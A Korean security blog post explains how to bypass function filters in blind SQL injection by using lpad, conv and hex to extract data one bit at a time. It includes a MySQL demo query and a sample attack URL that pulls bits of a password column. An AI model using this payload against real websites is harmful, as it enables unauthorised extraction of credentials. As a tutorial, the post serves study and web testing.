* ascii, char, between, and, or 등이 막혀 있을 경우나 기타 잘 알려진 함수들이 필터링 되는 경우 대체방법
으로 lpad 함수, conv 함수를 이용할수 있다. lpad 는 지정한 문자로 자릿수를 채워주는 역할을 하며, conv 함수는
진법 변환을 해준다.
인젝션을 많이 해본 사람은 이제 감이 올 것이다. 쿼리 결과를 1 또는 0으로 만드는 것이 BlindSQL Injection 의
핵심인데, conv('문자',16,2) 로 1과 0으로 이루어진 2진수로 만들고, lpad 로 8자리로 맞춰 주는 것이다.
결론적으로 'A' 를 아래와 같이 0과 1만으로 표현할 수 있다.
mysql> select lpad(conv(hex(substr('a',1,1)),16,2),8,0) from test where id='test';
+-------------------------------------------+
| lpad(conv(hex(substr('a',1,1)),16,2),8,0) |
+-------------------------------------------+
| 01100001 |
+-------------------------------------------+
# 비슷한 함수(테스트 필요)
MySQL : LPAD()
MSSQL : REPLICATE()
[출처] MSSQL에서 LPAD효과 내기|작성자 그루터기
# 공격 예
index.php?id+like+0x616425&&substr(lpad(conv(hex(substr(pw,1,1)),16,2),8,0),1,1)=0
'Security > Web' 카테고리의 다른 글
HTTP Parameter Pollution (0) | 2014.10.10 |
---|---|
효과적인 Blind SQL Injection (lpad, ord, hex, bin, conv 함수를 이용한) (1) | 2014.05.31 |
SQL Injection - Select 필터링(PROCEDURE ANALYSE()) (0) | 2014.04.12 |
Xterm 띄우기 (0) | 2009.03.16 |
싸이월드 xss (0) | 2008.12.20 |